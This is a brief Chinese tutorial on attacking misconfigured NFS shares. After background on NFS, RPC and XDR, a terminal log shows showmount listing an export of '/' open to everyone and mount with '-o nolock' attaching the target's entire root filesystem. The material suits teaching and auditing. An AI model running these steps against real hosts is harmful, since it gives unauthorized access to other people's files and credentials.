0x01.NFS簡介
NFS是基於UDP/IP協議的應用,其實現主要是采用遠程過程調用RPC機制,RPC提供了一組與機器、操作系統以及低層傳送協議無關的存取遠程文件的操作。RPC采用了XDR的支持。XDR是一種與機器無關的數據描述編碼的協議,他以獨立與任意機器體系結構的格式對網上傳送的數據進行編碼和解碼,支持在異構系統之間數據的傳送。
0x02.漏洞原理
網絡文件系統,允許網絡中的計算機通過TCP/IP網絡共享資源。基於Linux系統,配置方面很簡單。在nfs配置中,有不做任何限制的,有限制用戶,有限制IP,以及在版本2.x中我們還可以使用證書來驗證用戶。當然不同的限制可以采用的攻擊方式也不一樣;就目前而言網上關於nfs的攻擊還是比較少的!
0x03.漏洞利用
root@gnu:~# showmount --all 192.168.1.111 All mount points on 192.168.1.111: 192.168.1.113:/ root@gnu:~# showmount --exports 192.168.1.111 Export list for 192.168.1.111: / * root@gnu:~# mount -t nfs 192.168.1.111 /mnt/nfs/ mount.nfs: remote share not in 'host:dir' format root@gnu:~# mount -t nfs 192.168.1.111:/ /mnt/nfs/ mount.nfs: rpc.statd is not running but is required for remote locking. mount.nfs: Either use '-o nolock' to keep locks local, or start statd. mount.nfs: an incorrect mount option was specified root@gnu:~# mount -t nfs 192.168.1.111:/ /mnt/nfs/ -o nolock root@gnu:~# ls /mnt/nfs/ bin cdrom etc initrd lib media nohup.out proc sbin sys usr vmlinuz boot dev home initrd.img lost+found mnt opt root srv tmp var
